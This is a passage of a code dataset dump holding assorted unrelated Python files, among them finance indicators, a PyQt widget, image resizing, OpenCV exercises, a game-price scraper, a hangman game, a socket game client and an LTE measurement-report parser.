df_tmp[self.sale_col].mean()\r\n sale_price_mean = df_tmp[self.sale_price_col].mean()\r\n while dt_tmp <= dt_max:\r\n dt_tmp_str = datetime.strftime(dt_tmp, self.dt_format)\r\n if sale_cache_tmp.get(dt_tmp_str) == None:\r\n print(f\"this day is lose in dataset: {dt_tmp_str}\")\r\n #print(f\"press any key to continue ...\")\r\n #input()\r\n self.sale_ts_cache[id_val].append(sale_cache_tmp.get(dt_tmp_str, 0))\r\n self.sale_price_ts_cache[id_val].append(sale_price_cache_tmp.get(dt_tmp_str, sale_price_mean))\r\n self.date_cache[id_val].append(date_cache_tmp.get(dt_tmp_str, dt_tmp))\r\n dt_tmp = dt_tmp + timedelta(days=1)\r\n #if sale_cache_tmp.get(dt_tmp_str) == None:\r\n # print(dt_tmp)\r\n # print(self.date_cache[id_val][-1]p)\r\n\r\n def _read_df(self):\r\n if self.file_format == 'CSV':\r\n self.df = pd.read_csv(self.file_loc, encoding=self.encoding, parse_dates=[self.dt_col])\r\n elif self.file_format == 'EXCEL':\r\n self.df = pd.read_excel(self.file_loc, encoding=self.encoding, parse_dates=[self.dt_col])\r\n else:\r\n raise BaseException('Not Implemented')\r\n return self.df","sub_path":"RLPolicy/data_adapter/base_sale_adapter.py","file_name":"base_sale_adapter.py","file_ext":"py","file_size_in_byte":5140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"554784098","text":"# prefer enumerate over range\n# range is a built in function useful for loops that iterate over integer\n\nfrom random import randint\n\nrandom_bits = 0\n\nfor i in range(32):\n if randint(0, 1):\n random_bits |= 1 << 1","sub_path":"python/enumerate.py","file_name":"enumerate.py","file_ext":"py","file_size_in_byte":215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"271241179","text":"#!/usr/bin/python3\n# -*- encoding:utf-8 -*-\n\n\nimport pandas as pd\n\n\ndef ema(data: pd.DataFrame, period: int = 0, column: str = 'close'):\n data['ema' + str(period)] = data[column].ewm(ignore_na=False, min_periods=period, com=period, adjust=True).mean()\n return data\n\n\ndef macd(data: pd.DataFrame, long: int = 26, short: int = 12, signal: int = 9, column: str = 'close') -> pd.DataFrame:\n remove_cols = []\n if not 'ema' + str(long) in data.columns:\n data = ema(data, long, column)\n remove_cols.append('ema' + str(long))\n if not 'ema' + str(short) in data.columns:\n data = ema(data, short, column)\n remove_cols.append('ema' + str(short))\n data['macd_val'] = data['ema' + str(short)] - data['ema' + str(long)]\n data['macd_signal_line'] = data['macd_val'].ewm(ignore_na=False, min_periods=0, com=signal, adjust=True).mean()\n data = data.drop(columns=remove_cols)\n return data\n\n\ndef typical_price(data, high: str = 'high', low: str = 'low', close: str = 'close') -> pd.DataFrame:\n data['typical_price'] = (float(data[high]) + float(data[low]) + float(data[close])) / 3\n return data\n\n\ndef mfi(data: pd.DataFrame, period: int = 14, column: str = 'volume') -> pd.DataFrame:\n remove_tp_col = False\n if 'typical_price' not in data.columns:\n data = typical_price(data)\n remove_tp_col = True\n data['money_flow'] = data['typical_price'] * data[column]\n data['money_ratio'] = 0.\n data['money_flow_index'] = 0.\n data['money_flow_positive'] = 0.\n data['money_flow_negative'] = 0.\n\n for i, r in data.iterrows():\n if i > 0:\n if r['typical_price'] < data.at[i - 1, 'typical_price']:\n data.set_value(i, 'money_flow_positive', r['money_flow'])\n else:\n data.set_value(i, 'money_flow_negative', r['money_flow'])\n if i >= period:\n positive_sum = data['money_flow_positive'][i - period:i].sum()\n negative_sum = data['money_flow_negative'][i - period:i].sum()\n if negative_sum == 0:\n negative_sum = 1e-10\n m_r = positive_sum / negative_sum\n m_fi = 1 - (1 / (1 + m_r))\n data.set_value(i, 'money_ratio', m_r)\n data.set_value(i, 'money_flow_index', m_fi)\n rcols = ['money_flow', 'money_ratio', 'money_flow_positive', 'money_flow_negative']\n if remove_tp_col:\n rcols.append('typical_price')\n data = data.drop(columns=rcols)\n return data\n","sub_path":"api/finance.py","file_name":"finance.py","file_ext":"py","file_size_in_byte":2482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"362723289","text":"from PyQt5.QtWidgets import QApplication, QWidget, QPushButton, QVBoxLayout, QGridLayout, QLabel, QSizePolicy, \\\n QStackedWidget, QBoxLayout, QHBoxLayout, QFileDialog, QLineEdit\nfrom PyQt5.QtCore import Qt\nfrom PyQt5.QtGui import QColor, QLinearGradient, QBrush, QPalette, QFont, QPixmap\n\n\nclass AccessData(QWidget):\n\n def __init__(self):\n super().__init__()\n\n self.initUI()\n\n def enterPress(self, text):\n print(\"edited\" + text)\n\n def initUI(self):\n grid = QGridLayout()\n grid.setSpacing(10)\n\n searchBar = QLineEdit()\n searchBar.setPlaceholderText(\"Search...\")\n\n searchBar.editingFinished.connect(self.enterPress)\n\n go_button = QPushButton()\n go_button.setText(\"Go\")\n\n viewAll = QPushButton()\n viewAll.setText(\"View All\")\n\n\n grid.addWidget(searchBar, 1, 0)\n grid.addWidget(go_button, 1, 1)\n grid.addWidget(viewAll, 1, 2)\n\n self.setLayout(grid)\n self.setGeometry(300, 300, 350, 300)\n\n self.show()\n\n\n\n\n","sub_path":"scratchSpaces/suzieScratchSpace/AccessData.py","file_name":"AccessData.py","file_ext":"py","file_size_in_byte":1038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"484166572","text":"from PIL import Image\nimport numpy as np\nimport pdb\nimport os\n\ntn_size = 2e5\np_size = 1e6\n\ndef get_two_power(n):\n if n > 2:\n return 1 + get_two_power(n/2)\n else:\n return 1\n\n\nkvs = []\nfor fname in os.listdir('./'):\n if fname.endswith('.jpg') and not fname.startswith('tn-'):\n print(fname)\n fsize = os.stat(fname).st_size\n\n im = Image.open(fname)\n l, w = im.size\n\n if fsize > tn_size:\n ratio = fsize / tn_size\n two_power = get_two_power(ratio)\n two_ratio = np.sqrt(2 ** two_power)\n \n new_l = int(l/two_ratio)\n new_w = int(w/two_ratio)\n\n im2 = im.resize((new_l, new_w))\n im2.save('thumbnails/tn-' + fname)\n else:\n im.save('thumbnails/tn-' + fname)\n\n if fsize > p_size:\n ratio = fsize / p_size\n two_power = get_two_power(ratio)\n two_ratio = np.sqrt(2 ** two_power)\n\n new_l = int(l/two_ratio)\n new_w = int(w/two_ratio)\n\n im3 = im.resize((new_l, new_w))\n im3.save(fname)\n","sub_path":"images/photos/sizer.py","file_name":"sizer.py","file_ext":"py","file_size_in_byte":1113,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"534983138","text":"import cv2 as cv\r\nimport numpy as np\r\n\r\nimg = cv.imread(\"C:\\\\Users\\\\tjt\\\\Desktop\\\\1.jpg\")\r\nimg2 = cv.imread(\"C:\\\\Users\\\\tjt\\\\Desktop\\\\2.jpg\")#读取图片,为BGR模式,不是RGB\r\nimg_ = img2[0:img.shape[0],0:img.shape[1]] \r\nprint(img) #打印图片的长宽和通道数组成的元组\r\ncv.imshow(\"img\",img)\r\n\r\nsource = cv.split(img) #拆分通道,返回列表\r\nprint(type(source))\r\n\r\ng = img[:,:,1] #截取整个绿色通道\r\ncv.imshow(\"g\",g)\r\n\r\nimg_black = np.zeros(img.shape[0:2],dtype = np.uint8) #设置img1的size与img相等,单通道,且初始像素值为0\r\nimg_black[100:200,100:200] = 255 #设置区域内的像素值 \r\ncv.imshow(\"img_black\",img_black)\r\n\r\nimg_add = cv.add(img,img_,mask=img_black) #两个同大小单通道的图像像素值相加,mask为掩膜\r\ncv.imshow(\"img_add\",img_add)\r\n\r\nimg_blend = cv.addWeighted(img,0.5,img_,0.1,0) #addWeighted(img1,权重1,img2,权重2,常数),img1*权重1+img2*权重2+常数\r\ncv.imshow(\"img_blend\",img_blend)\r\n\r\n\r\nimg_and = cv.bitwise_and(img,img_) #按位和运算\r\nimg_or = cv.bitwise_or(img,img_) #按位或运算\r\nimg_not = cv.bitwise_not(img) #按位非运算\r\ncv.imshow(\"ig_and\",img_and)\r\n\r\nlower = np.array([10,20,30])\r\nupper = np.array([200,210,250])\r\nimg_mask = cv.inRange(img,lower,upper) #两个像素值组成一个范围,img中所有大于最大值和小于最小值的点变为0,处于范围内的点变为255\r\ncv.imshow(\"img_mask\",img_mask) #而对于多通道,必须每个通道值都要满足条件\r\n\r\nimg_hsv = cv.cvtColor(img,cv.COLOR_BGR2HSV)\r\ncv.imshow(\"img_hsv\",img_hsv)\r\n\r\nkey = cv.waitKey(0)\r\n\r\n\r\n","sub_path":"opencv_test.py","file_name":"opencv_test.py","file_ext":"py","file_size_in_byte":1630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"86178447","text":"\"\"\"\r\n\n\n **Stalactites** hang from the ceiling of a cave while **stalagmites** grow\nfrom the floor.\n\nCreate a function that determines whether the input represents `\"stalactites\"`\nor `\"stalagmites\"`. If it represents both, return `\"both\"`. Input will be a 2D\nlist, with `1` representing a piece of rock, and `0` representing air space.\n\n### Examples\n\n mineral_formation([\n [0, 1, 0, 1],\n [0, 1, 0, 1],\n [0, 0, 0, 1],\n [0, 0, 0, 0]\n ]) ➞ \"stalactites\"\n \n mineral_formation([\n [0, 0, 0, 0],\n [0, 1, 0, 1],\n [0, 1, 1, 1],\n [0, 1, 1, 1]\n ]) ➞ \"stalagmites\"\n \n mineral_formation([\n [1, 0, 1, 0],\n [1, 1, 0, 1],\n [0, 1, 1, 1],\n [0, 1, 1, 1]\n ]) ➞ \"both\"\n\n### Notes\n\n * There won't be any examples where both stalactites and stalagmites meet (because those are called pillars).\n * There won't be any example of neither stalactites or stalagmites.\n\n\"\"\"\r\n\ndef mineral_formation(cave):\n a, b = cave[0], cave[-1]\n return 'both' if any(a) and any(b) else \\\n 'stalactites' if any(a) and not any(b) else \\\n 'stalagmites' if not any(a) and any(b) else 0\n\n","sub_path":"n5Ar5F2CJMpGRXz3o_13.py","file_name":"n5Ar5F2CJMpGRXz3o_13.py","file_ext":"py","file_size_in_byte":1157,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"192637558","text":"\n\n# Function to produce a generator of all subsets of a given set s\n# Also known as \"power set\"\ndef power_set(s):\n n = len(s)\n\n # pre-calculating masks\n # powers of two\n masks = [1 << i for i in range(n)]\n\n # There will be 2^n elements in a powerset for a set of length n\n for i in range(1 << n):\n # Yield is good for instances where one wants to iterate over a result,\n # But all values don't need to be in memory at once\n yield [e for e, mask in zip(s, masks) if i & mask]\n\ndef main():\n l = [1, 2, 3, 4]\n g = power_set(l)\n for e in g:\n print(e)\n\n\nif __name__ == '__main__':\n main()","sub_path":"Recursion and Dynamic Programming/PowerSet.py","file_name":"PowerSet.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"579004099","text":"from typing import List\n\nimport requests\n\nfrom royale.models.card import Card\n\n\ndef get_all_cards() -> List[Card]:\n response = requests.get('https://statsroyale.com/api/cards')\n if response.ok:\n card_list = [Card(**card) for card in\n response.json()] # for card in response make new card by unpacking the card in the list\n return card_list\n else:\n raise Exception('Response was not ok. Status Code: ' + response.status_code)\n\n\ndef get_a_card_by_name(card_name: str) -> Card:\n cards = get_all_cards()\n card = next(card for card in cards if card.name == card_name)\n return card\n\n\n# this would be used if we only had a list of ids to do our search, would work the same as get card by name function\ndef get_a_card_by_id(card_id: int) -> Card:\n cards = get_all_cards()\n card = next(card for card in cards if card.id == card_id)\n return card\n","sub_path":"royale/services/card_service.py","file_name":"card_service.py","file_ext":"py","file_size_in_byte":905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"121287571","text":"#%%\n# -*- coding: utf-8 -*-\n\n# Offsets:\n# Hallway: 92cm\n# Railing: 192cm\n# Basement: 25cm\n\nimport re\nimport serial\nimport os\nimport csv\nimport time\n\noutput_filepath = r'C:\\Users\\jgamm\\Desktop\\rssi_measurement\\2020-06-23\\data\\basement\\side_blocked'\noutput_filename = r'3.00.csv'\nI_COM = r'COM11'\nR_COM = r'COM12'\nNUM_TRIALS = 50\n\nData = {'time_since_start': [],\n 'time_taken': [],\n 'conn_idx': [],\n 'distance': [],\n 'avg_distance': [],\n 'event': [],\n 'fo_i': [],\n 'fo_r': [],\n 'agc_i': [],\n 'agc_r': [],\n 'dqf': [],\n 'ia_i': [],\n 'ia_r': [],\n 'i_rssi': [],\n 'r_rssi': []}\n\nI = serial.Serial(port=I_COM,\n baudrate=9600,\n parity=serial.PARITY_NONE,\n bytesize=serial.EIGHTBITS,\n stopbits=serial.STOPBITS_ONE)\nR = serial.Serial(port=R_COM,\n baudrate=9600,\n parity=serial.PARITY_NONE,\n bytesize=serial.EIGHTBITS,\n stopbits=serial.STOPBITS_ONE)\n\ntry:\n I.flush()\n R.flush()\n trial = 0\n start_time = time.time()\n while True:\n while I.read() != b'M':\n pass # Wait for beginning of a transmission\n if I.read()+I.read()+I.read()+I.read()+I.read() != b'easur':\n print('Skipping a measurement')\n continue\n i_output = (I.readline()+I.readline()+I.readline())\n i_output = i_output.decode('ascii')\n if 'distance: inf' in i_output: # Skip invalid measurements\n continue\n if not ('dqf: 100' in i_output): # Skip low-quality measurements\n continue\n output = re.findall(r'[-+]?\\d*\\.\\d+|[-+]?\\d+', i_output)\n assert len(output) == 14\n Data['time_since_start'].append(int(1000*(time.time()-start_time)))\n Data['time_taken'].append(int(output[0]))\n Data['conn_idx'].append(int(output[1]))\n Data['distance'].append(float(output[2]))\n Data['avg_distance'].append(float(output[3]))\n Data['event'].append(int(output[4]))\n Data['fo_i'].append(int(output[5]))\n Data['fo_r'].append(int(output[6]))\n Data['agc_i'].append(int(output[7]))\n Data['agc_r'].append(int(output[8]))\n Data['dqf'].append(int(output[9]))\n Data['ia_i'].append(int(output[10]))\n Data['ia_r'].append(int(output[11]))\n Data['i_rssi'].append(int(output[12]))\n Data['r_rssi'].append(int(output[13]))\n trial += 1\n if trial == NUM_TRIALS:\n break\nfinally:\n I.close()\n R.close()\n\nwith open(os.path.join(output_filepath, output_filename), 'w', newline='') as F:\n writer = csv.writer(F, delimiter=',')\n writer.writerow([index for index in Data])\n for trial in range(NUM_TRIALS):\n writer.writerow([Data[index][trial] for index in Data])\n \n ","sub_path":"data/JimmyGammell/2020-06-23/code/take_data.py","file_name":"take_data.py","file_ext":"py","file_size_in_byte":2889,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"124487857","text":"import numpy as np\nimport neuralnets as nn\n\n\nclass Module(object):\n def __init__(self):\n self._ordered_layers = []\n self.params = {}\n\n def forward(self, *inputs):\n raise NotImplementedError\n\n def backward(self, loss):\n assert isinstance(loss, nn.losses.Loss)\n # find net order\n layers = []\n for name, v in self.__dict__.items():\n if not isinstance(v, nn.layers.Layer):\n continue\n layer = v\n layer.name = name\n layers.append((layer.order, layer))\n self._ordered_layers = [l[1] for l in sorted(layers, key=lambda x: x[0])]\n\n # back propagate through this order\n delta = loss.delta\n for layer in self._ordered_layers[::-1]:\n delta, gw, gb = layer.backward(delta)\n self.params[layer.name][\"grads\"][\"w\"][:] = gw\n self.params[layer.name][\"grads\"][\"b\"][:] = gb\n\n def save(self, path):\n saver = nn.Saver()\n saver.save(self, path)\n\n def restore(self, path):\n saver = nn.Saver()\n saver.restore(self, path)\n\n def __call__(self, *args):\n return self.forward(*args)\n\n def __setattr__(self, key, value):\n if isinstance(value, nn.layers.Layer):\n layer = value\n self.params[key] = {\n \"vars\": {\"w\": layer.w, \"b\": layer.b},\n \"grads\": {\"w\": np.empty_like(layer.w), \"b\": np.empty_like(layer.b)}\n }\n object.__setattr__(self, key, value)\n","sub_path":"neuralnets/nn/module.py","file_name":"module.py","file_ext":"py","file_size_in_byte":1530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"631140203","text":"import xml.etree.ElementTree as ET\n\ntree = ET.parse('tables')\nroot = tree.getroot()\n\nwith open('tree.html', 'w') as f:\n f.write(\"
\")\n for schema in root.iter('schema'):\n f.write(\"
').replace('X Kuva', 'x Kuva')\n df_parsed_relics = read_html(parsed_relics, header=None)\n df_parsed_relics = df_parsed_relics[0].replace(to_replace=r'.+\\((.+)\\%\\)', value=r'\\1', regex=True)\n df_parsed_relics[1] = df_parsed_relics[1].astype(float)\n df_parsed_relics = df_parsed_relics.dropna(how='all').fillna(999)\n groups = df_parsed_relics.groupby(arange(len(df_parsed_relics.index)) // 7, sort=False).apply(lambda x: x.sort_values(by=1, ascending=False))\n groups[1] = ' (' + groups[1].astype(str) + '%)'\n groups = groups[0] + groups[1]\n groups = groups.replace(to_replace=r'\\(999.0\\%\\)', value=r'', regex=True)\n templist = []\n templist2 = []\n for count, value in enumerate(groups):\n if count % 7 == 0 and count != 0:\n templist2.append(templist)\n templist = []\n templist.append(value)\n df_even_more_parsed_relics = DataFrame(templist2, columns=['Relic_Name', 'C1', 'C2', 'C3', 'U1', 'U2', 'Rare'])\n df_relic_class = df_even_more_parsed_relics['Relic_Name'].str.split().str[0]\n df_even_more_parsed_relics.insert(len(df_even_more_parsed_relics.columns), 'Class', df_relic_class, allow_duplicates=True)\n df_even_more_parsed_relics.insert(len(df_even_more_parsed_relics.columns), 'Type', df_even_more_parsed_relics['Relic_Name'].str.upper().str.split().str[1], allow_duplicates=True)\n df_even_more_parsed_relics.insert(len(df_even_more_parsed_relics.columns), 'Refinement', df_even_more_parsed_relics['Relic_Name'].str.split().str[3].replace(to_replace=r'[\\(\\)]', value=r'', regex=True), allow_duplicates=True)\n dict = {'Exceptional':'','Flawless':'','Radiant':''}\n df_even_more_parsed_relics.insert(len(df_even_more_parsed_relics.columns), 'C1_Raw', df_even_more_parsed_relics['C1'].replace(to_replace=r' \\(.+\\)',value='',regex=True))\n df_even_more_parsed_relics.insert(len(df_even_more_parsed_relics.columns), 'C2_Raw', df_even_more_parsed_relics['C2'].replace(to_replace=r' \\(.+\\)',value='',regex=True))\n df_even_more_parsed_relics.insert(len(df_even_more_parsed_relics.columns), 'C3_Raw', df_even_more_parsed_relics['C3'].replace(to_replace=r' \\(.+\\)',value='',regex=True))\n df_even_more_parsed_relics.insert(len(df_even_more_parsed_relics.columns), 'U1_Raw', df_even_more_parsed_relics['U1'].replace(to_replace=r' \\(.+\\)',value='',regex=True))\n df_even_more_parsed_relics.insert(len(df_even_more_parsed_relics.columns), 'U2_Raw', df_even_more_parsed_relics['U2'].replace(to_replace=r' \\(.+\\)',value='',regex=True))\n df_even_more_parsed_relics.insert(len(df_even_more_parsed_relics.columns), 'Rare_Raw', df_even_more_parsed_relics['Rare'].replace(to_replace=r' \\(.+\\)',value='',regex=True))\n df_even_more_parsed_relics.insert(len(df_even_more_parsed_relics.columns), 'C1_Odds', df_even_more_parsed_relics['C1'].replace(to_replace=r'.+\\((.+)\\%\\)',value=r'\\1',regex=True).astype(float))\n df_even_more_parsed_relics.insert(len(df_even_more_parsed_relics.columns), 'C2_Odds', df_even_more_parsed_relics['C2'].replace(to_replace=r'.+\\((.+)\\%\\)',value=r'\\1',regex=True).astype(float))\n df_even_more_parsed_relics.insert(len(df_even_more_parsed_relics.columns), 'C3_Odds', df_even_more_parsed_relics['C3'].replace(to_replace=r'.+\\((.+)\\%\\)',value=r'\\1',regex=True).astype(float))\n df_even_more_parsed_relics.insert(len(df_even_more_parsed_relics.columns), 'U1_Odds', df_even_more_parsed_relics['U1'].replace(to_replace=r'.+\\((.+)\\%\\)',value=r'\\1',regex=True).astype(float))\n df_even_more_parsed_relics.insert(len(df_even_more_parsed_relics.columns), 'U2_Odds', df_even_more_parsed_relics['U2'].replace(to_replace=r'.+\\((.+)\\%\\)',value=r'\\1',regex=True).astype(float))\n df_even_more_parsed_relics.insert(len(df_even_more_parsed_relics.columns), 'Rare_Odds', df_even_more_parsed_relics['Rare'].replace(to_replace=r'.+\\((.+)\\%\\)',value=r'\\1',regex=True).astype(float))\n df_even_more_parsed_relics = df_even_more_parsed_relics.replace(to_replace=r'Systems Blueprint',value=r'Systems', regex=True)\n df_even_more_parsed_relics = df_even_more_parsed_relics.replace(to_replace=r'Neuroptics Blueprint',value=r'Neuroptics', regex=True)\n df_even_more_parsed_relics = df_even_more_parsed_relics.replace(to_replace=r'Chassis Blueprint',value=r'Chassis', regex=True)\n #print(df_even_more_parsed_relics.head(5))\n #df_even_more_parsed_relics['Relic_Name'] = df_even_more_parsed_relics['Relic_Name'].str.split(n=1).str[1]\n #df_axi = df_even_more_parsed_relics[df_even_more_parsed_relics['Relic_Class']=='Axi'].reset_index(drop=True)\n #df_lith = df_even_more_parsed_relics[df_even_more_parsed_relics['Relic_Class']=='Lith'].reset_index(drop=True)\n #df_meso = df_even_more_parsed_relics[df_even_more_parsed_relics['Relic_Class']=='Meso'].reset_index(drop=True)\n #df_neo = df_even_more_parsed_relics[df_even_more_parsed_relics['Relic_Class']=='Neo'].reset_index(drop=True)\n #df_requiem = df_even_more_parsed_relics[df_even_more_parsed_relics['Relic_Class']=='Requiem'].reset_index(drop=True)\n #df_final_export_relic = concat([df_axi,df_lith,df_meso,df_neo,df_requiem], axis=1, ignore_index=True)\n #print(df_even_more_parsed_relics)\n print('Relic Data Processed')\n\n # Export data\n print('Exporting Worksheet')\n df_even_more_parsed_relics.to_csv(csv_name, index=None, quoting=QUOTE_ALL)\n df_previous_day_merged.to_csv('DayPrices.csv', index=None, quoting=QUOTE_ALL)\n with ExcelWriter(workbook_name, mode='a', engine='openpyxl', if_sheet_exists='replace') as writer:\n df_previous_day_merged.to_excel(writer, sheet_name=sheet_name_day)\n df_previous_hour_merged.to_excel(writer, sheet_name=sheet_name_hour)\n df_even_more_parsed_relics.to_excel(writer, sheet_name=sheet_name_relic)\n #df_final_export_relic.to_excel(writer, sheet_name=sheet_name_relic)\n book = load_workbook(workbook_name)\n sheet = book[sheet_name_day]\n sheet.delete_cols(1,1)\n sheet = book[sheet_name_hour]\n sheet.delete_cols(1,1)\n sheet = book[sheet_name_relic]\n sheet.delete_cols(1,1)\n book.save(workbook_name)\n print('If you see this message, things should have worked correctly. Remove the \\\"pause\\\" from the batch script to automatically close this window after use.')\n\nexcept Exception:\n # Error handling if something happens during the main script\n print('OOPSIE WOOPSIE!! Uwu We made a fucky wucky!! A wittle fucko boingo! The code monkeys at our headquarters are working VEWY HAWD to fix this!')\n print('\\033[1;31m' + format_exc())\n exit(1)\n","sub_path":"Scrape the Ducanator.py","file_name":"Scrape the Ducanator.py","file_ext":"py","file_size_in_byte":12314,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"421601245","text":"import re\n\nfrom get_word import get_word\nfrom clear import clear\nfrom color import gray, red\nfrom render_noose import render_noose\n\nCHANCES = 7\n\nclass Hangman:\n def __init__(self):\n self.word = get_word().upper()\n self.used_incorrect_letters = []\n self.messages = []\n \n self.letters = {}\n for letter in self.word:\n if letter in [\".\", \" \"]:\n continue\n self.letters[letter] = False\n \n \n def render(self):\n clear()\n print(gray(\"( To exit, hit Ctrl + C )\\n\\n\"))\n count = \"(\" + str(len(self.used_incorrect_letters)) + \"/\" + str(CHANCES) + \")\"\n if (CHANCES - len(self.used_incorrect_letters) < 3):\n count = red(count)\n else:\n count = gray(count)\n render_noose(len(self.used_incorrect_letters))\n print(\"Used \" + count + \": \" + \" \".join(self.used_incorrect_letters))\n print(self.make_word_bar())\n print(self.make_message_box()) \n\n def make_word_bar(self):\n word_bar = \"\"\n for letter in self.word:\n if letter == \" \":\n word_bar = word_bar + \" \"\n elif letter == \".\":\n word_bar = word_bar + \" . \"\n elif self.has_letter(letter) and self.letters[letter]:\n word_bar = word_bar + \" \" + letter + \" \"\n else:\n word_bar = word_bar + \" _ \"\n return word_bar\n \n def make_message_box(self):\n box = \" ____________________________________________________ \"\n box = box + \"\\n| |\"\n \n for message in self.messages:\n box = box + \"\\n| \" + message\n for i in range(50 - len(message)):\n box = box + \" \"\n box = box + \" |\"\n\n if not len(self.messages):\n box = box + \"\\n| |\"\n box = box + \"\\n| |\"\n \n box = box + \"\\n|____________________________________________________|\"\n \n return box\n\n def prompt(self):\n letter = input(\"Pick a letter > \")\n self.clear_messages()\n\n if (letter.upper() in self.used_incorrect_letters \n or (self.has_letter(letter) and self.letters[letter])):\n self.message(\"Whoa there partner, you already used that letter. The ole thinker gettin dusty?\")\n return\n \n if not re.match(r'[A-Z]', letter.upper()):\n self.message(\"Ope, I guess I should've told ya, you only need to worry about letters from A-Z\")\n return\n \n if letter.upper() not in self.letters:\n self.used_incorrect_letters.append(letter.upper())\n self.message(\"Careful there partner. The ole rascal can only take so much. Be more careful next time.\")\n return\n self.letters[letter.upper()] = True\n\n def message(self, message):\n line = \"\"\n for letter in message:\n line = line + letter\n \n if (len(line) == 50):\n self.messages.append(line)\n line = \"\"\n if len(line):\n self.messages.append(line)\n \n def clear_messages(self):\n self.messages = []\n\n def has_letter(self, letter):\n return letter in self.letters\n \n def has_won(self):\n for letter in self.word:\n if not self.has_letter(letter):\n continue\n if not self.letters[letter]:\n return False\n return True\n\n def has_lost(self):\n return len(self.used_incorrect_letters) >= CHANCES\n","sub_path":"hangman.py","file_name":"hangman.py","file_ext":"py","file_size_in_byte":3737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"152187708","text":"from PyQt5.QtCore import QThread, pyqtSignal\nimport socket\nimport errno\n\n\nclass ClientThread(QThread):\n oppo = pyqtSignal(str)\n rply = pyqtSignal(str)\n error = pyqtSignal(str)\n rematch = pyqtSignal(str)\n draw = pyqtSignal(str)\n\n def __init__(self, username, ip, parent=None):\n super(ClientThread, self).__init__(parent)\n self.username = username\n self.ip = ip\n\n def run(self):\n rcv = False\n self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n try:\n self.s.connect((self.ip, 1234))\n self.s.sendall(bytes(self.username, 'utf-8'))\n except ConnectionRefusedError as e:\n self.error.emit(\"nTarget Refused to Connect\")\n\n try:\n while True:\n msg = self.s.recv(10)\n msg = msg.decode('utf-8')\n\n if not rcv:\n self.oppo.emit(msg)\n rcv = True\n\n elif msg == \"D\":\n self.draw.emit(msg)\n\n elif msg == \"R\":\n self.rematch.emit(msg)\n\n else:\n self.rply.emit(msg)\n\n except IOError as e:\n if e.errno != errno.EAGAIN and e.errno != errno.EWOULDBLOCK:\n if rcv:\n self.error.emit(\"yOpponent Disconnected\")\n\n except Exception as e:\n self.error.emit('yUnknown Error: {}'.format(str(e)))\n\n def send(self, data):\n self.s.sendall(bytes(data, \"utf-8\"))\n","sub_path":"Client.py","file_name":"Client.py","file_ext":"py","file_size_in_byte":1513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"495205823","text":"from lxml import etree\nimport dateutil.parser\nfrom pandas import DataFrame, Series\nimport pandas as pd\nfrom functools import reduce\nimport json\nimport pymongo\nfrom pymongo import MongoClient\n\nclass MroReader:\n def __init__(self, afilter, **kwargs):\n super().__init__(**kwargs)\n self.item_dicts=[]\n self.afilter=afilter\n\n def display(self):\n for item_dict in self.item_dicts:\n print(item_dict)\n\n def read(self, item_measurement, item_id):\n for item_element in item_measurement:\n if item_element.tag == 'smr':\n item_key = item_element.text.replace('MR.', '').split(' ')\n else:\n centerFilled=False\n item_dict = {}\n neighbor_list=[]\n for item_v in item_element:\n item_value = item_v.text.replace('NIL', '-1').split(' ')\n _item_sub_dict = dict(zip(item_key, map(int, item_value)))\n _item_sub_dict = {k: v for k, v in _item_sub_dict.items() if not any(ext in k for ext in self.afilter)}\n if _item_sub_dict['LteNcPci']>=0:\n _neighbor={}\n _neighbor.update({'Pci': _item_sub_dict['LteNcPci']})\n _neighbor.update({'Rsrp': _item_sub_dict['LteNcRSRP']})\n neighbor_list.append(_neighbor)\n else:\n break\n if not centerFilled:\n item_dict.update(item_element.attrib)\n item_dict.update({'Rsrp': _item_sub_dict['LteScRSRP']})\n item_dict.update({'SinrUl': _item_sub_dict['LteScSinrUL']})\n item_dict.update({'Ta': _item_sub_dict['LteScTadv']})\n item_dict.update({'Pci': _item_sub_dict['LteScPci']})\n centerFilled=True\n if len(neighbor_list)>0:\n item_dict.update({'NeighborList': neighbor_list})\n self.item_dicts.append(item_dict)\n\n def read_zte(self, item_measurement, item_id):\n for item_element in item_measurement:\n if item_element.tag == 'smr':\n item_key = item_element.text.replace('MR.', '').split(' ')\n if 'LteScEarfcn' not in item_key:\n return\n else:\n centerFilled=False\n item_dict = {}\n neighbor_list=[]\n for item_v in item_element:\n item_value = item_v.text.replace('NIL', '-1').split(' ')\n _item_sub_dict = dict(zip(item_key, map(int, item_value)))\n _item_sub_dict = {k: v for k, v in _item_sub_dict.items() if not any(ext in k for ext in self.afilter)}\n if _item_sub_dict['LteNcPci']>=0:\n _neighbor={}\n _neighbor.update({'Pci': _item_sub_dict['LteNcPci']})\n _neighbor.update({'Rsrp': _item_sub_dict['LteNcRSRP']})\n neighbor_list.append(_neighbor)\n else:\n break\n if not centerFilled:\n item_dict.update({'id': item_id+'-'+item_element.attrib['MR.objectId']})\n item_dict.update({'Rsrp': _item_sub_dict['LteScRSRP']})\n item_dict.update({'SinrUl': _item_sub_dict['LteScSinrUL']})\n item_dict.update({'Ta': _item_sub_dict['LteScTadv']})\n item_dict.update({'Pci': _item_sub_dict['LteScPci']})\n centerFilled=True\n if len(neighbor_list)>0:\n item_dict.update({'NeighborList': neighbor_list})\n 